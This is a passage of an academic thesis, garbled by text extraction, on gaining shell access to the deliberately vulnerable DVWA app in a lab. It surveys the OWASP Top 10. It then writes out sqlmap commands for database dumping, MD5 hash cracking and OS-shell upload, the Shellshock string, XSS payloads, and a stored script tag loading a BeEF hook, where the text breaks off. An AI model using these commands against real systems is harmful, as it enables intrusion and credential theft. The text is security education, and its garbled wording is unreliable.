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This study preseahow it is possible to getshell access to the target system using common
web application vulnerabilitiedBoth the client and server side are breached. Attacks are
described step by step and resates presented using a real web applicafltne attack are
analyzed and described why they were successful. Successful attacks require that insufficient
user input validatiomnd unsafe coding standards are practiced. Alsaronmentsieed to

be misconfigured for example, a MySQL user has unneeded wiatesgo afolder which

is accessible by the web server
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1 INTRODUCTION

Web applicationsiave evolved a Ildtom early days of displaying a simple pdge oday '’ s
multifunctionalsites handling twavay data flow between a client and a sesgaffectively
that web applicationsave started to replace many desktop applicatidhthe sameime,
more and more security vulnerabilities aliscovereddue toprogramming errorand lack
of knowledge ofknown exploits andattack scenariosSomething that mighlook like a
harmless Bcument Object Model (DOMNodification, could be enough to trick @&nd

usertoinstallamalware Thi s might | ead to direct acce

While attackersare exploiting every possiblgecurity hole,security experts and service
providers areslowly realizing that it might be a good idea to raise aness of suchttacks.

For examplePDpen Web Application Security Project (OWASP) provides a list of ten most
common security risks in web applicatiofd§. This list is usedn many studiegor web
application vulnerability classificatiomnd researchers have broad consensus over its

validity and effectiveneg2].

This study aims to raise awareness of possiblesequencesf unpatched and vulnerable
web applicéion. Results of using such application is demonstrateldunchingsuccessful

attacks against it.

After the whole system has beenompromised,the end result is determined by the
imagination ofthe attackes. Some systems are harvested to be useddge bot networks.

Sone system could be used to blawkl the end useand in some cases one vulnerable part

in a big system might compromise other parts as well. Weak security leads to data loss,
severe loss of reputation or even firi@g British telecom company TalkTalkas issued

with £ 400000 fine after hackers gained access to personal data 8695ésers including
namesaddresses emai |l s and so on using common SQl

vulnerable web pagd4].



1.1 Goals and delimitations

The main goal of this thesis is to find outitifis possible to get shell access to the target
system leading to full system take over usingimonweb application vulnerabilities. Both

client and server side attacks are studied.

This studysimulatesattacks against a real web applicatiBgpassing ofintivirus software
and operation systeservices are out of this thesis scophis studydescribs the attack

scenarios antell why the attaks were possible.

The research questions are
1. How is it possible tget shell accesssing web applicatiomulnerabilities?
a. What kind of steps are required to do so?
2. Why were the attacks possible?

a. How could the attackise prevented?

Penetration testing methodologyused in guides for assessing the security of a syi&em

[6] [7]. Using penetration testinfpr ensuring the security aci web applicationis also
proposed in studies such[&3$ [9] [10] and[11]. The main goal of penetration testing is to
find vulnerabilities from an application and report them. Penetration testing is used in this
study to simulate real attacks against a vulnerable welicapph. The research questions

are answered by analyzing the attacks and their respective ré&itstration testing is

describedn more detail in the sectionéhd used toslare described in the section 4

1.2 Structure of the thesis

In the section 2he most common web applicationsinerabilities.are listed and defined
The section 3 describes the penetration testing metimotthe fourth sectiorused software
and tools arexplained In thefifth sectionattacks used in this thesis are descrilddthcks

are divided whether they are targeted against a client or a sEimesixth chapter is about

discussion and future workhe final,seventh chapter is about conclusions.



2 WEB APPLICATION VULN ERABILITES

A vulnerability can be defineds aweaknessn a system that can be exploited by an
unauthorized usdeading to negative impact of confidentiality, integrity or availab[li]

[13]. Vulnerabilities can be found from any part efystem For example, SQL (Structured

Query Language) nj ecti on mi ght |l ead to unrestric

database

Web application vulnerabilities are often classified by different types of schemas such as
OWASP Top 10,Mc Gr a w’ s rafility \¢atelgarese or WE/SANS 25 Top Most
Dangerous Vulnerabilitiegl4]. Many st udies seem to skottl e
example Rafiqueet al.[2] uses OWASP TOP Hist for vulnerability classification The

study says thaDWASP isa recognized security organization working towardproving

security standagland OWASP provides various security enhancing projectie same

study, it is alsostatal that many researchers have boardsemsus oveD WAS P’ s secur
ratings.Masood & Javd15] usedOWASP guidelines to review new techniques and tools

for detecting vulnerabilitiesAl-Khurafi & Al-Ahmad [16] reviewed the top three most
harmful web application vulnerabilities, SQL injection, broken session management and
CrossSi te Scripting (XSS) attacks and-listhey 1
Huluka & Popov[14] also wsed the list when they studied root causes for bad session

management such as session hijacking and session fixation possibilities.

The latest OWASP Top 10was released in 2018nd containsten most common web

applicationvulnerabilitieswhich are[17]:

Injection

Broken Authentication and Session Management
CrossSite Scripting

Insecure Direct Object References

Security Misconfiguration

Sensitive Data Exposure

N o gk~ wbdhdE

Missing Function Level Access Control
6



8. CrossSite Request Forge( SRF)
9. Using Components with Known Vulnerabilities

10.Unvalidated Redirects and Forwards

In this sectionthe vulnerabilities arereviewedin more detail by performing a literature

research of each vulnerabilithescribing their functionality

2.1 Injection

In the OWASP Top 10 list injection attacks afested asthe most commonrulnerability.
Injection attack occurs when a malformed query or command iscsemie b appl i cat
interpreter which executes it unintentiondlly [18]. This kind of attack is called a command

injection attack.

Every webapplication thataccepts user input and builds S@ueries from it can be
vulnerable to injection attackSince fixing SQL injection flawsustbe done on code level

it can take considerable long time to depleg$into production environmentt is also very

hard to detect injection attacks upfront and vulnerable applications agrebdor exploits

for along time [19]. Injection vulnerabilities ara resultof invalid application design.

These weaknesses leave a possibility for an attacker to perform any SQL statement to a
database directlj20].

In a blind SQL injection, theesult of the query is not shown to an attacker but web
application’ s i nt emnthiseasedechnigues uked are hootessedt h e ¢
or time-based blind SQlinjectionwhich are experimented more in the sectousing an

example applicatin.In the blind SQL injectioni is harder to dump all the information from

the database bain attacker camasilycause DoS (Denial of Service) against a database or
drop tables[20]

Successful SQL injections lead to lagconfidentiality as databases usually hold sensitive
user datalt is also possible to gain elevated privileges &agtts of a normal user account

can be escalatdd9].



One form of injection happens when a vulnerable eglication passes data from a user,
header®r cookies for instanceto a system shelln this kind of scenario an attackmight

be able taun any system command with possible elevated privildgék.

2.2 Broken Authentication and Session Management

Broken authentication and session management is the second most common web application
vulnerability according t€WASPTop 10[22]. HTTP is a stateless protodny designand
many web applications require some sort of staté between a client and a serveroBn
authentication and session managenmaight lead to compromised passworastotal

session take ovgP3].

There are three mainays to implement session tokens 1) by cookidJR). rewriting or

3) sending a session tokena formas a hidden fieldlt is possible to take a@dntage of
weak token generatioalgorithms and predict tokens with high success ieaktoken
algorithmsrely on, for example, current time when creating new tokedsrue randomness

IS not guaranteeddn attacker can collect multiple cookies, analyze their randomness and

craft valid session$24]

In a session fixation attack an attacker hijacks a valid user sesbmattacker 1) generates

a valid session id, 2) induces a user to authenticate with that session id, 3) hijacks the session
based on session [@5]. Cros-site scripting vulnerability can be used to set a session id if
HTTPOnIlyflag is no used in the HTTP response header. HTTR@adydetermines (if
supported by a browser) that any client side sad@pinotaccess cookieR6]. If a cookie

does nbhaveasecure flaget it is transmitted over unsecure connections, thusiméme-

middle attacks can be used to obtain a cof#dé

URL-rewriting can beused to hijack sessionf for example a hk is opened fronemail
containing sesen id. Anyone opening this link magceie access to a Vvic

Another casewouldbehen a browser saves user’s hist
this history and session ids are exposed i
if a web application does not implement proper session timgijt

8



Session fixation attacks are usually used as a second stage Fatticthe web application

needs to be vulnerable to a scenario where an attacker can generate a valid sassion id
then inject this s fl4].Sucecessfulisession bijackingand fixatiors s ¢
attacks might lead to stolen admin accountsa@nddreveal critical information from a web

application asers.

2.3 Crosssite scripting (XSS)

Crosssite scripting is the third most common vulneligbin a web application according

to OWASP[17]. In a successful crosste scripting attack an attacker causes & vicm’ s
browser to rurmaliciousJavaScripttode This happens when a web application displays
untrusted input without any validatig@8]. As described in section 2.2 cresige scripting

can be usedor exampleto obtain cookieteading tohijacked user session.

There are four ways to perforgrosssite scriptingattack 1) Document Object Model

(DOM) based 2) stored 3) reflected, o) blind crosssite scripting The end result ithe

same regardlesd theXSS type used, in aiscessful attackaliciouscodes r un on Vi C
browser and thenly difference is how the harmful codestred androcessed by the

server

1) DOM is an interface that allows scripts to dynamically modify the content of documents
[29. DOM based XSS attack occurs when a mal.i
adding, deleting or modifying existing DOM elemef&g]. Modifying DOM might induce,

for example, clicking a link which leads to a malicious sdstld byanattacker.

2) In a storedcrosssite scripting explojtan attackecansaverunnable code ta storage
which is managed by a web application. Later when this resource is fetched and executed in

a web application, malicious code isrunon@vwii m’ s [R0}. @ne suehrcase would
be attacks againdtulletin Board System (BBS) or guest books Successfully posting
malicious message might inflict multiple users. In the se&®tored XSS is usealongside
with DOM manipulationto experiment with different kind of social engineering methods
One scenario i® induce click baitingvhere a victim clicks a link with unwanted effects

9



3) In a reflected XSS malicious code is not stored anywhdrauhummediately (reflected
back) when a victim opens a web p48@]. For example, if a GEparameter is printed to
a page without any validatioit is extremely simple to exploit this vulnerability by crafting
different URLs containing malicious GEparameters, for example

www. test.com/ ?name=<script>alert(dédhell 0d6) =

4) In a blind XSS attack, an attackattempts tofind many differentways to spam a
vulnerable web application with malicious code. An attadkeesnot yet know when
malicious code is run in an application. Usudlge malicious code contains externally
loaded JavaScrigtle which informstheattacker when it is invoke@1]. This attack could

be launched against, for exal@pticketing systems which are browsed randomly by end

users.

XSS vulnerability offes multiple ways for an attacker to exploit victim€ookies might be

stolen or DOM manipulation could lead to unwanted clicks.

2.4 Insecure direct object references

Insecuredirect object referencis the fourth most common vulnerabilif%7]. An insecure
direct object reference ocawhen a developer exposes an internal obfjecexamplefile,
directory or database, to end user withawt access controBy modifying theseeferences

an attacker can access unauthorized (B2

For example, if aURL is http://example.com/app/accountinfo?acct=notmyaact the
parameter‘acct is used to fetch an account from a database, an attacker can easily
mani pul ate this val ue aAndthefegamplenofissecoredrecte e |
object reference would be when aser access an image usingyRL
http://foo.bar/showimage?img=ind§011, if the user replacesng-parameter with some

other value, the user might be able to access other systemmfdilesstancg33]. Direct

object references should be avoided if possible arwbss to such referencasould be

allowed for authorized users oriB4].
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2.5 Security misconfiguration

Security misconfiguratiors thefifth most common vulerability in web application[17].
A web application is vulnelde to security misconfiguration if) any software is outdated,
2) unnecessargervices or features are availalffer example open port9, 3) default

passwords or usernames are used) error cases result overly informative stack tri@&g.

Many populaiContent management syste(@MS) (e.g. WordPress) come with installation
script which in certain scenarios, if not removed, can be accessed after installation. An
attackercould recreatean admin accounby running the installation script agaithus,

gainng access to the application

Directory listing isafeature which allowsiser to list different files and folders in the server.

In some serveconfigurationsthis is enabled by default. An attacker can find sensitive data

or, for example, download source code and find otheaknesses. The source code can
revealhard coded passworegich can be exploited n t he attacker’' s be
hackthe server [20]

In some instances, detailed stack trace can be printed out to an attacker if the application is
not configured properly. Stack trace might dumpavatientials for a databaseor example,

if in ASP.NET -environmentsustom error mode is disabled, full stack trace is returned in
error casef36]. If this kind of behavior is combinesith allowing access to @atabasever

network an attacker might get faseljust byacopgiregs st
needed addresses and credentials from the stack trace

2.6 Sensitive data exposure
Sensitive data exposure is the sixth most common vulneralpilify. Weak or old

cryptographic algorithms are used to protect user data which might lead to stolen accounts,
credit card frauds or even identify thefldy].

11



Some applications store sensitive data in cleartext and an attackeraighle to read it.

Forexampleaweba ppl i cati on stores user’ s UuUSer name
so the user does not have to | og in again

the account details gets exposiaa]

Sensitive dat@an beleaked through other vulrabilities like for example SQinjection.

An attackercould,for examplefetch any user accountriugh a vulnerable login pagsing

SQL injection attackfl8]. Russi a’'s biggest social netwo
100 million user accountacluding names, email addresses and password in plaweest
stolen[39]. Storing password in plain text is alagood example fonot following proper

measures in protecting sensitive information

Many standardand legislatiorbeen developed to protect sensitive data. For example, if a
web application processes card transactions, it needs to be PCI conlmatect card
holde data[34] [40].

2.7 Missing function level access control

Missing function level access controllisted aghe seventimost commorvulnerability in
the OWASP Top 10 ligt17]. For example, aveb applications vulnerable ifaccess rights
are only verifiedn thefront endandat the same timthese same checks are missing from
the backend41l]. In this example athentication is only donen the client side and not on

the server side.

A seasonedttacker might be able to exploit these hidden functionabieeakinga request
directly to the backnd bypassing any checks done in the franked example jf a delete
user button is showronly to an admin and clickig this button makes a request:
www.example.com/deletsser/2 An attacker could forggsamerequest and invokeser

deletionwithout any admin rights if proper checks are not domthe server side.

12



It seems that Twitter hasuffered from invalid access contfdPl]. A bug was submitted in
2014 that described that an attacker could delete any credit cardafrpraccount in

ads.twitter.com.

2.8 Crosssite forgery request(CSRF)

Crosssite forgeryrequest is the eighinost common attacksed against a web application

[17]. CSRF attack can occur when a victim hasopen session with a vulnerable web
application and an attacker forges a reqfresh another source posirag thevictim. The

web siteis tricked tothink that the request came from a legit usemd the attacker gains
privileged access right$27]. Successful CSRF taicks might allow an attacker to
compromise user accounts. ING Direct bank was vulnerable to CSRF and it was possible to

transfer money from a victim s bank accou

required by an attack§43].

CSRF attacksnainly happen because web developers are not aware of thearsduzad
coding habits are practicedsually the root cause is that users are not authenticated properly

and a web application expeckat a request always comesrrtegit browser[43]

CSRF vulnerability can be easily blocked by ussmgne sort of shared secret or token
between a client and a server. The tolkegenerated by the applicatiand included in every
request sent by a elnt. This token is then verified again on server side. The token however

needs to be secure enough and not easily guessed by an aftagker.

The example mentioned in the section 2.7 where an admin user clicks a delatekuser |
be applied here. An attacker creates a web site which nthkeslelete userequest
automaticallyWhen admin enters the malicious web site, delete user requesasted.
The web application thinks this request carintom the admirbecause there exists a valid

session and the request is not authenticated by any shared token

13



2.9 Using components with known vulnerabilities

Using components with known vulnerabilities is the ninth most common vulnerability
according to OWASR17]. Componentsfor example libraries and software modules are
usuallyrun with high privilegesand exploiting one might lead tdatacompromise45].
Third-party components are often used as black £i0Keeir contents are not known and the

security of these components cannot be evaluzdsily[46].

Very wellknown vulnerability in the recent history call&hellshockwas found in Bash

shell, where an attacker was atdeget Basho execute arbitrary commanf&/]. Many web

servers use Bash to process some requests so, for example, crafting specific request with
malicious UsetAgent header would get processed by a web server. tethessfield had
following character$) { :; }; , the content of the field would get execuféfl]. For example,

a command) { :; }; /bin/ejectwould make a CD drive eject.

Many CMSplatforms e.g. WordPress contain multiple plugins from various sources.
Exploit Database contains an archive of public exploits developed for use by vulnerability
researchers andearchingthis databasevi t h  “ Wor d Pr ess” returns
entries[49].

Many web applications send email to users and use some kind of library for it. PHPMailer
is widely usedlibrary for PHP and web applications using versions earlier than 5.2.20 for
PHPMailer may bevulnerableto remote code executiofb0] [51]. In this case the
vulnerability was made possibieecauseaiser input was not properly sanitized or validated

and an attacker could pass argumentst&d & ¢ dimena n

2.10 Unvalidated redirects and forwards

Unvalidatedredirects and forwards is the ladtthe tervulnerability in the OWASP Top 10
-list [17]. Web applicationsftenredirect users to other pages and untrustedodatée used

for redirection destinatiarThis may opeia possibilityfor an attacker to redirect a victim to

14



phishing or malicious sitef52]. Unvalidatedredirect are also apt to causealware

infections[34].

For example, eBay suffered from unvalidated redirects when specially crafted URL, which
looked like legit eBay URL, redirected a victim to phishing web site hosted by an attacker
[53]. The phishing web site gt have looked like real eBay web site and login details were

easily stolen froninexperienceend users.

15



3 PENETRATION TESTING

Penetréion testing simulates the ways an attacker would ussxpdoit a systeni5]. In
general,the goal is tosee what vulnerabilities are real threats and not false positives by
performng real attacks againstveebapplication. Usually automated vulnerability scanners
report many false positives and might not take atoountapplications spedid demands

and attack vector§6]. Penetration testing tries to fulfill these unexplored threats that

automated scannemsay fail to detect

Target
. : Attacks
selactian Information Information Attack
3 Gathering > Generation
A —
Pen Tester — —
Analysis -
feedback L —
[0 ses
Report < Response
Analysis A Web
esponses Application

Fig 1. The peretrationtesting procesg]

The general process of penetration testing is illustrated in figure 1lhendenetration test
starts with defining the starting state of testing. Common terminology used to tefstate

are black box testing, white box testing and gray box testinbelslack box testinghe pen
tester has npreviousknowledge of the target system. tlme white box testing the target
system iknown bythe pentester Testing is usually targeted against specific objective and
is not only generic assessment like black besting usually isThe Gray box testing is in
betweenblack and white box testing and is usually preferred as it mimics real world

scenarios since real attackers often have some kind of information of the target gjstem.

Webcrawlersare used as toots identify the input vectors of the targeted application. Input

vectors consists pfor exampleinputfields and cookie fields. Web crawlers, however, are

16



limited identifying possible vulnerabilities since they often reainvisit all the pages
Therefore,relying only on them might leave many vulnerabilities undiscovered. Web

crawlers work best with simple web applicatioi®.

At the second stagbe penester decides what kind of attacke &aunched against a target
system based on gathered informatiming, for example, readyade scripts and tools
After this a response analysis is performed determining if the attacks were successful and

finally a report of found vulnerabilities is relsed[9]
In this study penetration testing method is usesintailatereal attack against an example

web applicatiorusing testing tools introduced in the chapteFdund vulnerabilities and

results are provided after atkachave been launched against a client and a server.

17



4 TOOLS

This section containsformation about used tools and softwarbese are usad the

chapter 5o perform attacks against the example application.

4.1 Kali Linux

Kali Linux is a Debian baseldnux distribution tailored to be a versatile penetration toolkit
[6]. Kali bundlesa lot of different exploitation tools suchBsEF for attacking web browsers
andsqlmap for performing SQL injection attacKs total Kali Linux comes with over 600
penetration testing tools. Kali Linux is a rebuild of very kngvemetration testing toolkit

BackTrack Linux made and developed by small group of security es{deit

4.2 BeEF

BeEF, The Browser Exploitation Frameworis, included in Kali Linux. BeEFis a
penetration testing tool for web sites and browsers using -diéatattack vectorfs5].

Attacks are carried otihirough exploits within the coext ofabrowser. BeEF can be hooked

to a web site using, for example, X8@nerabilitywhere a victims“ t r i cked” t o |

jsfile.

BeEF consists of two components: the user interface (BeEF Ul) and the communication
server (BeEF CS). When BeEFrim, both components are started. Injected computers or
hooked browsers poll the communication server for new information and results are

displayed to an attacker in real tif@]. The architecture is illustrated in the fig@re

From the user interface component an attacker can see all hooked browsers which are online
or offline and run exploits against them. The communication server communicates using
HTTP with the hooked browsers and the Ul. The common usage pattern &yedspi the

figure 3.

18



BEEF
ARCHITECTURE =]
&©
;zi{aau-: 18.5.3.67

Polling

e =k
-

‘40 . Poliing

Py L c—ee
% F W ZomBIE B.2.7.9
| m u
BEEF OWNER m bt O
(ATTACKER) \ Polling
'
Polling =
\ ZomeiE 11.4.2.5
£
e

ZomMmBIE 7.3.7.4

Fig 2. Thearchitectureof the BeEF[56]

User Interface Communication
Server

Fig 3. Common usageatternof the BeEH56]

4.3 Sglmap

Sglmapin an open source penetratitasting tool used to find and exploit SQL injection
flaws. Sglmap can automatically detecinerable parameters in GET, POST, cookie and
HTTP UserAgentfields. Using this informatiorsgimap can decided whi@®QL injection
techniques can be used exploit pssible vulnerability[57]. Available techniques are
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studiedmore closelyn the chapter 55gmap also supports direct connection to the database

if credential, IP and potb the database are knoy&8].

Sglmap uses the following techniques to find vulnerabilities:

|l

Booleanbased blind: series of boolean queries are run against the server and the
outcome is determined from, for example, HTTP headers.

Error-based: An error is provokddom the database and error messages are read
from the response.

Time-based: The database is put on hold using steepmands together with true
condition queries

UNION querybased: Theriginal query isjoinedwith additionalquery that fetches

datafrom other tables.

4.4 Metasploit Framework (MSF)

Metasploit framework is penetration testing software for finding various security

vulnerabilities[59]. As shown on figurd, MSFis built onsix maincomponents 1iRex, 2)

Framevork Core 3) Framework basel) Interfacesb) Modules and) Plugins[7].

1)

2)

3)

4)

5)
6)

Rex stands for Ruby Extension Library and contains classes and modules which can
be used by developers.

Framework core has various subsystems, module management and provides interface
for plugins.

Framework base contains various configuration, logging and session managements
and makes it easier to deal with the core

Multiple interfacesare offered toM S F5’underlying components ranging from
command line tools to graphical interfaces.

Modules contains various exploits and payloads.

Plugins can add new functionality to the framework.
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framework-core
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msfli ’ payloads
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msfweb encoders
|
msfwx ‘ nops
Integration
msfopi auxiliary

Fig 4. Thearchitecture oMetasploit frameworK7]

Wit h MSF’' dMeterpoetbntlisepossible to generate effective payloads against
different systems and to shell access. For example, a reverse shell payload creates a

connection from a victim system to an at
generated against variougaration systems such as Windows. In this case a payload would
open connection and work as a Windows command pr@hpT his kind of attack would

also require another component from the MSF called listener which waits foc@ming
connection from the target system. Listener handles the connection which might use for

example TCRH5].

4.5 Damn Vulnerable Web Application

Damn Vulnerable Web Application (DVWA) is written in PHP, uses MySQL for da&abas
and is described being “damn vulnerabl e”.

security professionals tests their skills, teach web application security for web developers

and to understand possible rigk®]. The souce code with documentation is availabie
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GitHub [61]. DVWA should only be installed on local environments which are used for

testing as installing DVWA on public web server might compromise the vaystem

DVWA contains both server and client side vulnerabilities listed in the section 2. DVWA
has three different security levels low, medium and high. High level should be invulnerable
to the attacks and is used as an example of secure coding practices. kigslhex security
practices and loveontains only very littlesecuritymeasurementf62]. In this study, low
security level is used since one of the goals is to show what might happen or is possible in
worstcasescenario. Low acurity level can be used by setting cookie parameter:

security=low

4.6 lllustration of the used tools

The figure 5 shows which components are targeted by the tools that the attacker uses. BeEF
i's used against the vi ct edowdoadMEFoestabkshthet o i

shel | access between the attacker and the

Sglmap communicates with the web server. Malicious commands are passed from the web
server to the database interpreter and the commands get executed there. Harmful commands
are also passed from the webserver to the system which enables the shell adbess. In

section 5t is described how the tools are used to gain shell access.
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Fig 5. MSF and Sqglmap handles the shell access.
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5 ATTACKS

In this sectiorthe vulnerabilities discovered in the section two degnonstrated by using
them toexploit real world example web application. As described in the first section the
main goal of this thesis is to gaia shell accest® a target systenThis section describes
the required steps and how software and tools are used. First, the attacks are geiolse

the server side and then against the client side.

5.1 Server side

In this section, attacks are targeted against the server. SQL Injection vulnerabilities are used
as a starting pointDifferent security misconfigurations are also exploited to take full

advantage ofoundsecurity holes.

5.1.1 Usingthe sglmap

Kali Linux hasthetool called sqlmapSglmap provides an automated process for detecting
SQL injection flaws from a vulnerable webpdipation. DVWA contains areadymadgage
which suffers fromSQL injection vulnerabilityFrom this page a parameter is passed to the
back end and this parameter is run through MySQL interpitieen sqlmap is ran against

the example applicatiowith thefollowing command

sglmap -u
"http://dvwa.test/vulnerabilities/sqli/?id=a&Submit=Submit" --
cookie="PHPSESSID=njbmu5212gql6skmck9aheec81; security= low "

The following results are provided:

sqglmap identified the following injection point(s) with a total of
4814 HTTP(s) requests:

Parameter: id (GET)
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Type: boolean - based blind

Title: OR boolean - based blind - WHERE or HAVING clause (MySQL
comment)
Payload: id= - 2107' OR 3600=3600#&Submit=Submit

Booleanbased blindechnique is useful if the target application does not return any outcome
for the query. Instead a custom error page might be shown or just HTTP 500 code is returned.
In this case sqlmap makes several boolean queries against the server. For exartugle, a va
of some field could be determing@&ach character is selected one by one and then compared

against all the possible characters.

Type: error - based
Title: MySQL OR error - based - WHERE or HAVING clause
Payload: id=  -1277' OR 1 GROUP BY CONCAT(0x7170787 671,(SELECT (CASE

WHEN (1486=1486) THEN 1 ELSE 0
END)),0x717a6b7171,FLOOR(RAND(0)*2)) HAVING MIN(0)#&Submit=Submit

In an errorbased injection type sglmdpes to provoke error from the target database and
read the HTTP response and look for spe@fior messages. This only works if the target
systemis configured nonoptimally. Visible stack tracesmight reveal for example,

credentialf or t he application’s database

Type: AND/OR time - based blind

Title: MySQL >=5.0.12 AND time - based blind (SELECT - comment)
Payload: id=a' AND (SELECT * FROM
(SELECT(SLEEP(5)))Sgql)#&Submit=Submit

In a timebased attack sqlmap tries pat the target database on haolsing, for example,
SLEERcommand.If the request and responsendis differbetween valid and maimus

queries sglmap then knows that there is injection vulnerabditgilable

Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
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Payload: id=a' UNION ALL SELECT
CONCAT(0x7170787671,0x575470514d5a6€586a67454d4f75547254615851624a
6f6672454746637a6271745979615a494550,0x717a6b7171),NULL#&Submit=Su
bmit

In anUNION querybasednjectionsqglmapappends thguerywith UNION ALL SELECT
allowing sglmap to obtain results froother tablesThis technique works best the

vulnerableweb applicatioruseshe forloops to display the dataceivedrom the database

When targeting a systemsgimap uses all the techniques above individually and also together
and tries to determine the best way to breach a systethis case sqlmapas detected

severalSQL injectionpoints Next, more injections are run against the target system

Availabledatabases can be fetched with command

sgimap - u "http://dvwa.test/vulnerabilities/sqli/?id=a "o
cookie="PHPSESSID=njbmu5212gql6skmck9aheec81; security= low" -- dbs

As described beforsgimap runs multiple SQL injection attacks against givenL#Rd
succasful attacksre storedo cacheCache is used to improve performamasefor the first
run it takesconsiderabléong time since there are total of 3000 attacks run against the target

system

Figure6s hows sqgl map’s stored injection point
databases. After the payloads have been injected by sglmap following databases are

provided:

available databases [4]:

[*] dvwa

[*] information_schema

[*] mysal

[*] performance _schema
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ion point(s) from sto

012 AND tine-b
SELECT * FROM

Fig. Sgl map’ s st or eamtheimypesct i on points

The database called dbwa is used by the example web appli¢atalable tables can be
fetched byprovidingtablesparameter.

sqlmap --

url="http://dvwa.test/vulnerabilities/sqli/?id=a&Submit=Submit" --
cookie="PHPSESSID=daid6n95bpfhb23cqu9hn4pf75; security=low" -D
dvwa T - tables

This reveals that dvwedatabaseontaingthe following two tables

[2 tables]

+ -- +
| guestbook |
| users |
+ s +



A database can be dumped by issuing the following command:

sglmap -u
"http://dvwa.test/vulnerabilities/sqli/?id=a&Submit=Submit" --
cookie="PHPSESSID=daid6n95bpfhb23cqu9hn4pf75; security=low" -D

dvwa -- dump- all

Sglmap saves dumped tables to d#es. The following interesting fields are found from

the users tablaisername and hashed password.

admin | 5f4dcc3b5aa765d61d8327deb882cf99
gordonb | €99a18c¢428cb38d5f260853678922e03
1337 | 8d3533d75ae2c3966d7e0d4fcc69216b
pablo | 0d107d09f5bbe40cade3de5c71e9e9b7
smithy | 5f4dcc3b5aa765d61d8327deb882cf99

Sglmap has built in tool to save password hashes, detect their type and cradBuhieg.
the dump sqlmap retrieves the column values of the tables and analyzes their content and if
a password hash is detected, sqlmap tries to crack it. In this caseomh$mshes are

detected as being MD5 hashed which are easily cracked by the tool:

5f4dcc3b5aa765d61d8327deb882cf99 (password)
€99a18c428cbh38d5f260853678922e03 (abc123)
8d3533d75ae2¢3966d7e0d4fcc69216b (charley)
0d107d09f5bbe40cade3de5c71e9e9b7 (letmein )
5f4dcc3b5aa765d61d8327deb882cf99 (password)

Taking advantage of found SQL injection flaw is extremely easy as dumping a database can
be achieved bissuing few simpleommand whenusing correct tooldn this case the login
usernames and passwords for the example site were the most interesting thing found leading
to lossof confidentiality As a result, an attacker is able to use any login details to log in to
the application.This was also due to the fact that passwords were hashed using weak

algorithm such aMD5 which is as bad as having passwords in plain k5 is still used
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quite alot for hashing password whichadviouslydangerous asracking them open is just
amatter of millisecondsMore robust methods for hashing password have been developed
such afArgon7[63].

5.1.2 Uploading the shell

As one of the goals of this thesis is to get total host takeover, SQL ingat®nsed to find

out ifitis possible to get austommadeshell which can run system commands to the server.

To upload a shell, the SQL user should have write permission to some folder where the shell
is uploaded or written. Usually many web applications have foldeisdwgore for example

user uploaded imageml this case the example web application has this kind of folder in

Ivar/www/dvwa/hackable/uploads/.

Sqglmap hasa command calledsshell which tries to upload a shell to the servé&he

command is invoked biyping:

sgimap -u
"http://dvwa.test/vulnerabilities/sqli/?id=a&Submit=Submit" --
cookie="PHPSESSID=dnl2vktonaglbcf509In6fs1s2; security=low" -- 0S-

shell

Next, thesglmap asks which language the web application supports and options are ASP,
ASPX, JSP and PP In this case the example application uses PHP, so PHP is selected.
Next, a folder location is asked where the shell script can be wittéders can be searched

by custom location asglmap can also try to find suitable directory. As writable targjeleir

is already known, itd useds locatiorfor the shell scriptAfter the location is found, sgimap

creates a file there which can then be accessed by crafting differenmeGESsts.
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o retrieve the command standard output? [Y/n/a] vy
andard output:

Fig 7. A shell access is gainedtlretarget system

When auser types a command to the shell, sqgimap makes a GET request and passes the

command for the uploadedshéllp ache’ s access | og shows
192.168.56.103 - - [13/Nov/2016:15:15:18 +0200] " GET
/hackable/uploads/tmpbpkfo.php?cmd=1s%20 -al HTTP/1.1" 200 448 " -

"sglmap/1.0 - dev-nongit -201608150a89 (http://sqlmap.org)"

When command Isal is run, files are listed as shown in the figute

The createdPHPAfile tmpbpkfo.phpis quite simple file which takes a command as a GET
or POSTparameter (the script checks for $ REQUESBay which contains boththen
checks which PHRunctions for executing system commands are availdlble script then
usesappropriatdunction such as system(), shell_exec() or passthrbé script ¢ available

in appendix 1.

This scenario shows the woistise scenario as some operating sysermicesprevent
writing to acommonfolderby a specific usetJbuntu Linux, for exampldyy defaultcomes
with aservice called AppAnor whichdoesnot allow MySQL-user to write into /var/www
-foldersto prevent cases such as described ahbwmauthorized user tries to write inside

these folder, following line is written to syslog

[ 4902.147284] type=1400 audit(1472143216.097:38):

apparmor="DENIED" o  peration="mknod" parent=1

3C
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profile="/usr/sbin/mysqld" name="/var/www/dvwa/hackable/uploads/

tmpbpkfo.php " pid=1632 comm="mysqgld" requested_mask="c
denied_mask="c" fsuid=115 ouid=115

Even though MySQL user (mysgld) had full permissions tofolder
Ivariwww/dvwa/hackable/uploadstreating new files here was blocked if AppArmor was
enabledHoweversi nce any additional protection me
shell access was gained using SQL injection but this meant that the target system was also
misconfigured ©Q WA S Ptops5 vulnerability, Securitynisconfiguratiof since MySQL

user’s write access was not | imited any we
l't'"s also possible to disabl e .sMamyeervice&inct i

providersdisablesystem command fetionsby defaultto give additional protection.

Gettingcustomshell to the target system is not as easy as dumping usernames and password
demonstrated befordbecausethe target system must also be vulneraltheough
misconfiguration MySQL user needs have write permission to such folder which is also

accessible by the web server.

5.2 Client side

In this section attacks are targeted against thient side XSSvulnerability is the most
common client side attack aitds used as a sting point. The main goal is to get a victim
to install a malicious file which then invokes a remote shell aceasly to be exploited by

an attacker

5.2.1 Setting up the BeEF

The example application contains two different XSS vulnerabilities, reflectestarsdl. In
this scenario an attacker triesitgect theBeEF framework to the web site. The web site
contains a guestbook where a user can post a comment which is hevaryone who

visits the guestbook:his provides a good way to write some malicious stored XSS code to
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the web siteBeEF could also be injected to the website using-8ffdction vulnerability
described before by modifying a comment in the guestbomwle all the comments are stored
to the database.

Kali Linux comes with BeEF already installéd/hen BeEF is startedt echoes back the
URLSs for the hook.jdile and for the Uipanel.

[+] running on network interface: 127.0.0.1
| Hook URL: http://127.0.0.1:3000/hook.js

| UlIURL: http://127.0.0.1:3000/ui/panel <
[+] running on network interface: 192.168.56.103

| Hook URL: http:// 192.168.56.103  :3000/hook.js

|_ UIURL: http:// 192.168.56.103  :3000/ui/panel

BeEF is now successfully startadd the admin panel is accessed by openingy Rie
http:// 127.0.0.1:3000/ui/paneT his opens a login screen and the default username and
password arbeef

Next a malicious message, which loads the hook.favailable at
http://192.168.56.103:3000/hogd) is crafted and posted to the guesthodlhe message

contains a HTMEcode which loaglthe hook.js. The message is as follows:

<script src=0http://192.168.56.103: 3000/ hook.

